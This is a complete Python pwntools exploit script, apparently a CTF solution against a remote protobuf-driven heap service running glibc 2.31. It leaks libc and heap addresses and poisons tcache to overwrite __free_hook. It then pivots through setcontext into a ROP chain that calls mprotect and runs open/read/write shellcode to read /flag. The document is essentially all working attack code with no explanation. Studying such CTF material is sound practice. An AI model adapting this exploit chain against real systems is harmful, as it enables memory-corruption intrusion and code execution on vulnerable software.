1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| from pwn import * import test_pb2
context.log_level = 'debug' context.terminal = ['konsole', '-e'] context.arch = 'amd64'
p = remote('39.105.26.155', '33708')
elf = ELF('./pwn') libc = ELF('./libc-2.31.so')
message = test_pb2.devicemsg() payload = b''
def add(idx,size, msg): global payload message.actionid = 1 message.msgidx = idx message.msgsize = size message.msgcontent = msg payload = message.SerializeToString() p.sendafter(b'now:', payload)
def edit(idx, msg): global payload message.actionid = 2 message.msgidx = idx message.msgsize = len(msg) message.msgcontent = msg payload = message.SerializeToString() p.sendafter(b'now:', payload)
def show(idx): global payload message.actionid = 3 message.msgidx = idx message.msgsize = 0 message.msgcontent = b'' payload = message.SerializeToString() p.sendafter(b'now:', payload)
def delete(idx): global payload message.actionid = 4 message.msgidx = idx message.msgsize = 0 message.msgcontent = b'' payload = message.SerializeToString() p.sendafter(b'now:', payload)
for i in range(0, 10): add(i, 0xf0, str(i).encode())
add(10, 0xf0, b'a')
for i in range(0, 10): delete(i)
show(8) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1eccd0 log.info('libc_base: ' + hex(libc_base))
heap_base = u64(p.recvuntil(b'\x55')[-6:].ljust(8, b'\x00')) - 0xff0 log.info('heap_base: ' + hex(heap_base))
gadget = libc_base + 0x0000000000151990 pop_rdi = libc_base + 0x0000000000023b6a pop_rsi = libc_base + 0x000000000002601f pop_rdx = libc_base + 0x0000000000142c92 ret = libc_base + 0x0000000000022679 setcontext = libc_base + libc.sym['setcontext'] + 61 free_hook = libc_base + libc.sym['__free_hook'] mprotect = libc_base + libc.sym['mprotect']
add(11, 0x30, b'a') add(12, 0x30, b'a') add(13, 0x30, b'a')
delete(11) delete(12)
edit(12, p64(free_hook))
add(14, 0x30, b'a') add(15, 0x30, p64(gadget))
payload = p64(0) payload += p64(heap_base + 0x1170) payload += p64(0) payload += p64(0) payload += p64(setcontext) payload += asm(shellcraft.open('/flag')) payload += asm(shellcraft.read('rax', heap_base + 0x1170, 0x100)) payload += asm(shellcraft.write(1, heap_base + 0x1170, 0x100)) payload = payload.ljust(0xa0, b'\x00') payload += p64(heap_base + 0x1170 + 0xa8) payload += p64(ret) payload += p64(pop_rdi) payload += p64(heap_base) payload += p64(pop_rsi) payload += p64(0x2000) payload += p64(pop_rdx) payload += p64(7) payload += p64(mprotect) payload += p64(heap_base + 0x1170 + 0x28) edit(10, payload)
delete(10)
p.interactive()
|